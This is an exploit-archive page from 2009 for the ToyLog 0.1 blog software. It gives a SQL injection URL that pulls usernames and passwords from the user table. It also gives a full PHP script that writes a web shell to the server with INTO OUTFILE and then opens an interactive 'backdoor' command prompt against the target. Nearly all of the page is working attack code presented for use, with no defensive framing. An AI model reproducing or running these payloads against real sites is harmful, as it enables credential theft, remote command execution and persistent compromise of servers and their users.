[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : ToyLog 0.1 SQL Injection Vulnerability/RCE Exploit
# Published : 2009-07-10
# Author : darkjoker
# Previous Title : Phenotype CMS 2.8 (login.php user) Blind SQL Injection Vulnerability
# Next Title : WordPress Privileges Unchecked in admin.php and Multiple Information
--+++=====================================================================================+++--
--+++====== ToyLog 0.1 SQL Injection Vulnerability/Remote Command Execution Exploit ======+++--
--+++=====================================================================================+++--
[+] SQL Injection Vulnerability
Url: http://localhost/ToyLog/read.php?idm=1%20UNION%20ALL%20SELECT%201,username,password,4%20FROM%20user
[+] Remote Command Execution Exploit
#!/usr/bin/php
<?php
function usage () {
exit ( "n".
"+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+n".
"- -n".
"+ ToyLog 0.1 Remote Command Execution Exploit +n".
"- Author : darkjoker -n".
"+ Site : http://darkjoker.net23.net +n".
"- Download: http://sourceforge.net/projects/toylog/ -n".
"+ Usage : php xpl.php <url> +n".
"- Ex. : php xpl.php http://localhost/ToyLog/ -n".
"+ +n".
"-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-n".
"n");
}
function hex_format ($string) {
$i=0;
while ($i<strlen($string))
$hex .= "%".dechex(ord($string[$i++]));
return $hex;
}
function get_path ($host, $dir) {
$fp = fsockopen ($host, 80);
$query = hex_format ("1 UNION ALL SELECT * FROM does_not_exist");
$req = "GET {$dir}read.php?idm={$query} HTTP/1.1rn".
"Host: {$host}rn".
"Connection: Closernrn";
fputs ($fp, $req);
while (!feof ($fp))
if (preg_match ("|resource in <b>(.+?)</b> on|", fgets ($fp, 1024), $data))
$path = $data [1];
list ($path) = explode ("block/db.php", $path);
fclose ($fp);
return $path;
}
function upload_shell ($host, $dir) {
$fp = fsockopen ($host, 80);
$shell_path = get_path ($host, $dir)."shell.php";
if (!strcmp ($shell_path, "shell.php"))
die ("[-] Exploit failed.n");
$query = hex_format('1 UNION ALL SELECT 1,2,'xxx<?php system (stripslashes($_GET[\'cmd\'])); ?>xxx',4 INTO OUTFILE ''.$shell_path.'' FROM post');
$req = "GET {$dir}read.php?idm={$query} HTTP/1.1rn".
"Host: {$host}rn".
"Connection: Closernrn";
fputs ($fp, $req);
fclose ($fp);
}
if (!preg_match ("|http://(.+?)(/.+/)|", $argv [1], $data))
usage ();
array_shift ($data);
list ($host, $dir) = $data;
upload_shell ($host, $dir);
$stdin = fopen ("php://stdin", "r");
while (1) {
echo "backdoor@{$host}: ";
$cmd = hex_format(trim (fgets ($stdin, 1024)));
if (!strcmp ($cmd, hex_format("exit")))
break;
$out = explode ("xxx", file_get_contents ("http://{$host}{$dir}shell.php?cmd={$cmd}"));
array_shift ($out);
array_pop ($out);
echo $out [0];
}
?>
# www.Syue.com [2009-07-10]